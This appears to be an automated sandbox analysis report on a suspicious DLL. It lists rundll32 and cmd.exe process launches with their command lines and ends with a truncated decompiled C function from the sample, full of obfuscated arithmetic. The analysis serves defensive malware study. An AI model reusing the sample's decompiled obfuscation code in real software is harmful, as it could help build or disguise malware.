Analysis Process: conhost.exe PID: 6260 Parent PID: 6240

General

Start time:	08:09:00
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6324 Parent PID: 2212

General

Start time:	08:09:02
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Mindlake
Imagebase:	0xbe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6336 Parent PID: 6324

General

Start time:	08:09:03
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Island
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6348 Parent PID: 6336

General

Start time:	08:09:03
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6388 Parent PID: 2212

General

Start time:	08:09:05
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Porthigh
Imagebase:	0xbe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6396 Parent PID: 6324

General

Start time:	08:09:05
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Matter m
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6404 Parent PID: 6396

General

Start time:	08:09:06
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6416 Parent PID: 6388

General

Start time:	08:09:06
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Island
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6428 Parent PID: 6416

General

Start time:	08:09:07
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6488 Parent PID: 2212

General

Start time:	08:09:09
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Problemscale
Imagebase:	0xbe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6500 Parent PID: 6388

General

Start time:	08:09:10
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Matter m
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6512 Parent PID: 6500

General

Start time:	08:09:10
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6524 Parent PID: 6488

General

Start time:	08:09:10
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Island
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6720 Parent PID: 2212

General

Start time:	08:09:13
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,WingGrass
Imagebase:	0xbe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6728 Parent PID: 6524

General

Start time:	08:09:13
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6888 Parent PID: 2212

General

Start time:	08:09:16
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Island
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6908 Parent PID: 6720

General

Start time:	08:09:17
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Island
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6924 Parent PID: 6908

General

Start time:	08:09:18
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6936 Parent PID: 6488

General

Start time:	08:09:20
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Matter m
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6944 Parent PID: 2212

General

Start time:	08:09:21
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Matter m
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 7036 Parent PID: 6936

General

Start time:	08:09:26
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7060 Parent PID: 6720

General

Start time:	08:09:27
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Matter m
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 7104 Parent PID: 7060

General

Start time:	08:09:28
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 2212 Parent PID: 5620 loaddll32.exeCOMMON

Executed Functions

Function 6DD11285, Relevance: 28.6, APIs: 3, Strings: 13, Instructions: 597
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD11285(void* __ebx, void* __edi, void* __esi) {
				signed int _t127;
				signed int _t129;
				signed int _t131;
				signed int _t133;
				void* _t135;
				int _t139;
				signed int _t142;
				signed int _t146;
				void* _t149;
				signed int _t151;
				signed int _t153;
				void* _t155;
				signed int _t156;
				void* _t164;
				signed int _t168;
				void* _t169;
				signed int _t171;
				void* _t174;
				signed int _t176;
				signed int _t178;
				signed int _t180;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t188;
				signed int _t190;
				signed int _t191;
				signed short* _t193;
				signed int _t195;
				void* _t197;
				signed int _t201;
				signed int _t202;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t216;
				signed int _t222;
				void* _t229;
				signed int _t242;
				signed int _t245;
				signed int _t256;
				signed int _t261;
				signed int _t262;
				signed int _t263;
				signed int _t268;
				void* _t270;
				signed int _t272;
				signed int _t277;
				void* _t281;
				signed int _t282;
				signed int _t286;
				signed int* _t287;
				signed int _t291;
				signed int _t294;
				signed int _t296;
				signed int _t297;
				signed int _t298;
				signed int _t300;
				void* _t301;
				intOrPtr* _t303;
				signed int _t305;
				signed int _t306;
				signed int _t315;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t324;
				signed int _t327;
				signed int _t329;
				signed int _t331;
				signed int _t333;
				signed int _t336;
				signed int _t340;
				signed int _t342;
				signed short _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t354;
				signed int _t358;
				signed short* _t360;
				signed int _t362;
				signed int _t364;
				signed int _t369;
				signed int _t371;
				signed int _t372;
				signed int _t375;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t386;
				signed int _t389;
				signed int _t390;
				signed int _t391;
				intOrPtr _t393;
				signed int _t394;
				signed int _t395;
				signed int _t396;
				void* _t400;
				void* _t401;
				signed int _t402;
				signed int _t403;
				signed int _t404;
				void* _t405;
				void* _t411;
				intOrPtr _t412;
				void* _t417;
				void* _t418;
				void* _t419;
				void* _t422;
				intOrPtr _t423;
				intOrPtr _t426;
				void* _t427;
				void* _t428;
				void* _t434;
				intOrPtr _t435;
				void* _t446;
				void* _t450;
				signed int _t451;
				void* _t452;
				void* _t453;
				void* _t456;

				_t260 = __ebx;
				E6DD300AC(0x6dd77e6f, __ebx, __edi, __esi, 0x2c);
				_t324 =  *0x6ddd5a90; // 0x40577270
				_t127 =  *0x6ddd59d0; // 0x40594d09
				_t261 =  *0x6ddd59d8; // 0xe01606d4
				_t380 =  *0x6ddd59dc; // 0x5
				_t358 =  *0x6ddd5a00; // 0x445197c0
				_t405 = 0 - _t380;
				_t327 =  *0x6ddd5a90; // 0x40577270
				 *(_t400 - 0x18) = _t127 + _t324 + 0x31f;
				_t129 = _t261;
				 *(_t400 - 0x2c) = _t129;
				 *(_t400 - 0x1c) = _t380;
				if(_t405 >= 0 && (_t405 > 0 || _t358 >= _t129)) {
					_push(0);
					_t358 = _t358 - _t129 * 0x3d + 0xfffffd1c;
					 *0x6ddd5a58 =  *0x6ddd5a58 + 0xfffffd1c;
					 *0x6ddd5a00 = _t358;
					asm("adc dword [0x6ddd5a5c], 0xffffffff");
					_t380 = 0;
					asm("sbb esi, [ebp-0x1c]");
					_t261 = _t358 -  *(_t400 - 0x2c) + 0x2e4;
					 *0x6ddd59d8 = _t261;
					asm("adc esi, eax");
					 *0x6ddd59dc = 0;
				}
				 *(_t400 - 0x28) =  *0x6ddd59e6 & 0x0000ffff;
				_t131 = 0x6ddd59e6;
				 *(_t400 - 0x2c) = 0x6ddd59e6;
				 *(_t400 - 0x1c) = 0x6ddd59e6;
				do {
					if(_t358 ==  *(_t400 - 0x28)) {
						goto L8;
					} else {
						asm("cdq");
						_t133 = E6DD301E0( *_t131 & 0x0000ffff, _t327, _t261, _t380);
						_t380 = _t327;
						_t261 = _t133;
						_t327 = _t358 + 5 + _t261;
						 *0x6ddd59d8 = _t261;
						 *0x6ddd59dc = _t380;
						 *0x6ddd5a90 = _t327;
						if(_t327 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t131 =  *(_t400 - 0x1c);
							goto L8;
						}
					}
					break;
					L8:
					_t131 = _t131 + 2;
					 *(_t400 - 0x1c) = _t131;
				} while (_t131 < 0x6ddd5a44);
				_t135 = 6;
				_t411 =  *0x6ddd5a98 - _t135; // 0x6dd7e664
				if(_t411 != 0) {
					L12:
					_t262 = _t261 - 0x27 +  *(_t400 - 0x18) * 0x3d;
					__eflags = _t262;
					 *0x6ddd59d8 = _t262;
					_t263 =  *(_t400 - 0x18);
					asm("sbb esi, edi");
					 *0x6ddd59dc = _t380;
				} else {
					_t412 =  *0x6ddd5a9c; // 0x0
					if(_t412 != 0) {
						goto L12;
					} else {
						_t263 = _t261 + 0x11e05;
					}
				}
				 *0x6ddd59d0 = _t263 - _t327 * 0x3d - 0x2e4;
				_t139 = GetSystemDirectoryA("C:\Windows\system32", 0x56d);
				_t381 =  *0x6ddd5a00; // 0x445197c0
				_t266 = _t139;
				_t329 = 0;
				_t360 = 0x6ddd59e6;
				 *0x6ddd5a90 = _t139 -  *0x6ddd5a90 +  *0x6ddd59d0;
				_t142 =  *0x6ddd59e6 & 0x0000ffff;
				 *0x6ddd59d8 = _t139;
				 *(_t400 - 0x1c) = 0;
				 *0x6ddd59dc = 0;
				do {
					if(_t381 == _t142) {
						goto L17;
					} else {
						asm("cdq");
						_t266 = E6DD301E0( *_t360 & 0x0000ffff, _t329, _t266,  *(_t400 - 0x1c));
						_t256 = _t329;
						 *0x6ddd59d8 = _t266;
						 *(_t400 - 0x1c) = _t256;
						_t381 = _t381 + 5 + _t266;
						 *0x6ddd59dc = _t256;
						 *0x6ddd5a90 = _t381;
						if(_t381 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t381 =  *0x6ddd5a00; // 0x445197c0
							_t142 =  *0x6ddd59e6 & 0x0000ffff;
							goto L17;
						}
					}
					break;
					L17:
					_t360 =  &(_t360[1]);
				} while (_t360 < 0x6ddd5a44);
				 *0x6ddd59d0 = E6DD10D32();
				GetTempPathA(0x56d, "C:\Users\alfons\AppData\Local\Temp\");
				_t417 =  *0x6ddd5a04 - 0x1b47; // 0x96
				if(_t417 == 0) {
					_t318 =  *0x6ddd5a90; // 0x40577270
					_t319 = _t318 + ( *0x6ddd59e6 & 0x0000ffff);
					 *0x6ddd5a90 = _t319;
					_push(0);
					_t320 =  *0x6ddd59d8; // 0xe01606d4
					asm("adc [0x6ddd59dc], eax");
					 *0x6ddd59d8 = _t320 + 0x3b + _t319 * 2;
				}
				_t146 = E6DD10D32();
				_t402 = _t401 - 0x10;
				 *0x6ddd59d0 = _t146;
				_t268 = _t402;
				 *(_t400 - 0x34) = _t402;
				_t330 = "6265";
				 *_t268 = 0;
				 *((intOrPtr*)(_t268 + 8)) = 0;
				 *((intOrPtr*)(_t268 + 0xc)) = 0;
				E6DD15DAB(_t268, "6265");
				_push("Had s");
				 *(_t400 - 4) = 0;
				_t149 = E6DD14197(_t260, "6265", 0, _t381);
				 *(_t400 - 4) =  *(_t400 - 4) | 0xffffffff;
				E6DD11E10(_t149);
				_t270 = 6;
				_t418 =  *0x6ddd5a02 - _t270; // 0x4451
				if(_t418 == 0) {
					_t151 =  *0x6ddd59d8; // 0xe01606d4
					_t153 = _t151 + 0x11dde +  *0x6ddd59d0;
					__eflags = _t153;
					 *0x6ddd5a90 = _t153;
				} else {
					_t315 =  *0x6ddd59d8; // 0xe01606d4
					 *0x6ddd59d0 =  *0x6ddd59d0 +  ~_t315 -  *0x6ddd5a90 * 0x3d;
				}
				_push("cd Island"); // executed
				E6DD5179F(_t260, _t330, 0, _t381);
				_t382 =  *0x6ddd59d0; // 0x40594d09
				_t155 = 6;
				_t25 = _t382 - 0x338; // 0x405949d1
				_t272 = _t25;
				 *0x6ddd5a90 = _t272;
				_t419 =  *0x6ddd5a02 - _t155; // 0x4451
				if(_t419 == 0) {
					_t331 =  *0x6ddd5a00; // 0x445197c0
					_t156 = 0;
					 *0x6ddd59dc = 0;
					_t333 = _t331 + 0x11dde + _t272;
					__eflags = _t333;
					 *0x6ddd59d8 = _t333;
				} else {
					_t333 =  *0x6ddd59d8; // 0xe01606d4
					_t156 =  *0x6ddd59dc; // 0x5
					 *0x6ddd5a90 = _t272 - _t333 * 0x3d -  *0x6ddd5a00;
				}
				_push(_t156);
				_push(_t333);
				_push(_t382);
				E6DD14401(_t260, E6DD14401(_t260, E6DD11FF2(_t260, E6DD120D9(_t260, E6DD14267(_t260, 0, _t382, _t419), _t333, 0, _t382), _t333, 0, _t382), 0x6ddd8150, 0, _t382, _t419), "part ", 0, _t382, _t419);
				_t336 =  *0x6ddd5a00; // 0x445197c0
				_t277 = 0x6ddd5a0e;
				_t362 =  *0x6ddd59dc; // 0x5
				_t383 =  *0x6ddd59d8; // 0xe01606d4
				do {
					if(_t336 != ( *0x6ddd59e2 & 0x0000ffff)) {
						 *_t277 =  *_t277 + _t336;
						_t26 = _t336 + 5; // 0x445197c5
						_t245 = _t26 + _t383;
						 *0x6ddd5a90 = _t245;
						_t383 = _t383 + _t245 + 0x3b + _t336;
						_push(0);
						asm("adc edi, eax");
					}
					_t277 = _t277 - 4;
				} while (_t277 > 0x6ddd59e2);
				_push("cd Matter m");
				 *0x6ddd59d8 = _t383;
				 *0x6ddd59dc = _t362; // executed
				E6DD5179F(_t260, _t336, _t362, _t383); // executed
				_t164 = 6;
				_t422 =  *0x6ddd5a98 - _t164; // 0x6dd7e664
				if(_t422 != 0) {
					L34:
					 *0x6ddd59d8 =  *0x6ddd59d8 - 0x27 +  *0x6ddd59d0 * 0x3d;
					asm("sbb [0x6ddd59dc], ecx");
				} else {
					_t423 =  *0x6ddd5a9c; // 0x0
					if(_t423 != 0) {
						goto L34;
					} else {
						_t242 =  *0x6ddd59d8; // 0xe01606d4
						 *0x6ddd59d0 = _t242 + 0x11e05;
					}
				}
				_t403 = _t402 - 0x10;
				 *(_t400 - 0x34) = _t403;
				 *0x6ddd5a90 =  *0x6ddd5a90 * 0x29266b;
				_t168 = _t403;
				 *_t168 = 5;
				 *((intOrPtr*)(_t168 + 8)) = 0x5c7;
				 *((intOrPtr*)(_t168 + 0xc)) = 0;
				_push("Molecul");
				 *(_t400 - 4) = 1;
				_t169 = E6DD14197(_t260, _t336, _t362, _t383);
				 *(_t400 - 4) =  *(_t400 - 4) | 0xffffffff;
				E6DD11E10(_t169);
				_t281 = 0x27;
				_t171 = E6DD10EF6(_t281);
				_t404 = _t403 - 0x10;
				 *0x6ddd59d8 = _t171;
				_t282 = _t404;
				 *(_t400 - 0x34) = _t404;
				 *0x6ddd59dc = 0;
				 *_t282 = 0;
				 *((intOrPtr*)(_t282 + 8)) = 0;
				 *((intOrPtr*)(_t282 + 0xc)) = 0;
				E6DD15DAB(_t282, "6623");
				_push("out drop ");
				 *(_t400 - 4) = 2;
				_t174 = E6DD14197(_t260, "6623", _t362, _t383);
				 *(_t400 - 4) =  *(_t400 - 4) | 0xffffffff;
				E6DD11E10(_t174);
				_t176 =  *0x6ddd59dc; // 0x5
				 *(_t400 - 0x18) =  *0x6ddd59d8 * 0x36 +  *0x6ddd5a90;
				_t286 =  *0x6ddd5a90 * 0x10e1d;
				_t178 =  *0x6ddd59d8; // 0xe01606d4
				_t287 = 0x6ddd5a28;
				 *0x6ddd59d8 = _t178 * _t286;
				_t340 =  *0x6ddd5a90; // 0x40577270
				_t180 =  *0x6ddd59d0; // 0x40594d09
				 *0x6ddd59dc = _t176 * _t286 + (_t178 * _t286 >> 0x20);
				_t386 =  *(_t400 - 0x18);
				_t342 = _t340 + _t386 + _t180 + 0x3b;
				do {
					if( *0x6ddd5a28 != 0x27) {
						L38:
						_t183 =  *_t287 * _t342;
						 *0x6ddd59dc = 0;
						_t342 = _t183;
						_t184 = _t183 + 0x2c;
						 *0x6ddd59d8 = _t184;
						_t427 = _t184 -  *0x6ddd5a50; // 0x4e
						if(_t427 != 0) {
							goto L40;
						} else {
							_t428 = 0 -  *0x6ddd5a54; // 0x0
							if(_t428 != 0) {
								goto L40;
							}
						}
					} else {
						_t426 =  *0x6ddd5a2c; // 0x0
						if(_t426 == 0) {
							goto L40;
						} else {
							goto L38;
						}
					}
					break;
					L40:
					_t287 =  &(_t287[2]);
				} while (_t287 < "or@std@@");
				_t185 = E6DD10D32();
				_t364 =  *0x6ddd5a90; // 0x40577270
				_t49 = _t386 + 0x11dde; // 0x11dde
				 *(_t400 - 0x1c) = _t185;
				 *(_t400 - 0x28) = _t49 + _t364;
				_t291 = _t185 * 0x10e1d;
				_t186 =  *0x6ddd59dc; // 0x5
				_t188 =  *0x6ddd59d8; // 0xe01606d4
				_t190 =  *0x6ddd59f2 & 0x0000ffff;
				 *(_t400 - 0x10) = _t188 * _t291;
				_t346 =  *0x6ddd59e6; // 0x6145
				 *(_t400 - 0x14) = _t186 * _t291 + (_t188 * _t291 >> 0x20);
				 *(_t400 - 0x34) = _t190;
				if((_t346 & 0x0000ffff) + _t190 != 0x32) {
					_t389 =  *(_t400 - 0x18) * 0x29266b;
					_t191 = _t389 * 0x37;
					__eflags = _t191;
					 *(_t400 - 0x1c) = _t191;
					_t294 = _t191;
					 *(_t400 - 0x20) = _t191;
				} else {
					_t64 = _t400 - 0x1c; // 0x445079e2
					_t294 =  *_t64;
					 *(_t400 - 0x20) = _t294;
					_t389 = _t294 -  *(_t400 - 0x18) *  *(_t400 - 0x18) * 0x10e1d + 0x27;
				}
				 *(_t400 - 0x30) = _t346 & 0x0000ffff;
				_t193 = 0x6ddd59e6;
				 *(_t400 - 0x18) = _t389;
				_t390 =  *(_t400 - 0x10);
				 *(_t400 - 0x24) = 0x6ddd59e6;
				do {
					if(_t294 ==  *(_t400 - 0x30)) {
						_t346 =  *(_t400 - 0x14);
						goto L48;
					} else {
						asm("cdq");
						_t195 = E6DD301E0( *_t193 & 0x0000ffff, _t346, _t390,  *(_t400 - 0x14));
						_t294 =  *(_t400 - 0x20);
						_t390 = _t195;
						 *(_t400 - 0x14) = _t346;
						_t364 = _t294 + 5 + _t390;
						 *0x6ddd5a90 = _t364;
						if(_t364 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t193 =  *(_t400 - 0x24);
							goto L48;
						}
					}
					break;
					L48:
					_t193 =  &(_t193[1]);
					 *(_t400 - 0x24) = _t193;
				} while (_t193 < 0x6ddd5a44);
				_t197 = 6;
				 *(_t400 - 0x10) = _t390;
				_t391 =  *(_t400 - 0x18);
				_t434 =  *0x6ddd5a98 - _t197; // 0x6dd7e664
				if(_t434 != 0) {
					L53:
					_push(0);
					_t296 =  *(_t400 - 0x10) - 0x27 +  *(_t400 - 0x28) * 0x3d;
					__eflags = _t296;
					asm("sbb edx, eax");
					_t201 =  *(_t400 - 0x28);
				} else {
					_t435 =  *0x6ddd5a9c; // 0x0
					if(_t435 != 0) {
						goto L53;
					} else {
						_t296 =  *(_t400 - 0x10);
						_t83 = _t296 + 0x11e05; // 0x11e05
						_t201 = _t83;
					}
				}
				 *(_t400 - 0x30) = _t364;
				if( *(_t400 - 0x34) > _t364) {
					_t202 =  *(_t400 - 0x30);
				} else {
					 *0x6ddd59e0 = _t201;
					_t364 = _t364 + 2 + _t201 * 0x6d;
					 *0x6ddd5a90 = _t364;
					_t202 = _t364;
				}
				 *(_t400 - 0x14) = 0x6ddd5a0e;
				_t92 = _t400 - 0x1c; // 0x445079e2
				_t393 =  *_t92;
				_t297 = _t296 + _t202 + _t296 + _t391 + 0x3d;
				_push(0);
				asm("adc edx, eax");
				 *0x6ddd59d8 = _t297;
				 *0x6ddd59dc = _t346;
				do {
					if(_t393 != ( *0x6ddd59e2 & 0x0000ffff)) {
						_t364 = _t393 + 5 + _t297;
						_push(0);
						 *0x6ddd5a90 = _t364;
						 *( *(_t400 - 0x14)) =  *( *(_t400 - 0x14)) + _t393;
						_t297 = _t297 + _t393 + 0x3b + _t364;
						asm("adc edx, eax");
						 *0x6ddd59d8 = _t297;
						 *0x6ddd59dc = _t346;
					}
					_t208 =  *(_t400 - 0x14) - 4;
					 *(_t400 - 0x14) = _t208;
				} while (_t208 > 0x6ddd59e2);
				_t394 =  *(_t400 - 0x18);
				_t209 = 0x6ddd59e6;
				 *(_t400 - 0x10) = _t297;
				_t298 =  *0x6ddd59e6 & 0x0000ffff;
				 *(_t400 - 0x14) = _t346;
				do {
					_t347 = _t364;
					if(_t347 == _t298) {
						goto L65;
					} else {
						_t364 = ( *_t209 & 0x0000ffff) * _t347;
						_t347 = _t364;
						 *0x6ddd5a90 = _t364;
						if(5 + _t347 * 2 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t209 =  *(_t400 - 0x2c);
							_t298 =  *0x6ddd59e6 & 0x0000ffff;
							goto L65;
						}
					}
					break;
					L65:
					_t209 = _t209 + 2;
					 *(_t400 - 0x2c) = _t209;
				} while (_t209 < 0x6ddd5a44);
				_t105 = _t394 + 2; // 0x2
				 *0x6ddd59d0 = _t105 + _t347;
				_t213 = E6DD11029(_t394);
				_t300 =  *0x6ddd5a90; // 0x40577270
				_t106 = _t394 + 2; // 0x2
				_t369 = _t106 + _t300;
				 *0x6ddd5a00 = _t213;
				_t348 = _t300;
				if(_t300 >= _t369) {
					_t300 = _t369 * 0xffffffc3;
					 *0x6ddd59f2 =  *0x6ddd59f2 - _t300;
					_t348 = _t300;
				}
				_t107 = _t213 + 2; // 0x2
				_t371 = _t107 + _t348;
				 *0x6ddd59d0 = _t371;
				_t446 =  *0x6ddd5a04 - 0x1b47; // 0x96
				if(_t446 != 0) {
					_t349 =  *(_t400 - 0x10);
				} else {
					_t300 = ( *0x6ddd59e6 & 0x0000ffff) + _t348;
					_push(0);
					_t349 =  *(_t400 - 0x10) + 0x3b + _t300 * 2;
					asm("adc edi, eax");
					 *0x6ddd59d8 = _t349;
					 *0x6ddd59dc =  *(_t400 - 0x14);
					_t371 =  *0x6ddd59d0; // 0x40594d09
				}
				_t395 = 0x6ddd5a0e;
				do {
					if(_t300 != ( *0x6ddd59e2 & 0x0000ffff)) {
						 *_t395 =  *_t395 + _t300;
						_t229 = _t300 + _t300;
						_t114 = _t229 + 5; // 0x5
						_t371 = _t114;
						_t115 = _t229 + 0x3b; // 0x3b
						_t300 = _t115 + _t371;
					}
					_t395 = _t395 - 4;
					_t216 = _t300;
				} while (_t395 > 0x6ddd59e2);
				_t396 =  *(_t400 - 0x18);
				_t301 = 6;
				 *0x6ddd59d0 = _t371;
				_t450 =  *0x6ddd5a02 - _t301; // 0x4451
				if(_t450 != 0) {
					_t375 = _t371 + _t216 * 0xffffffc2;
					_t451 = _t375;
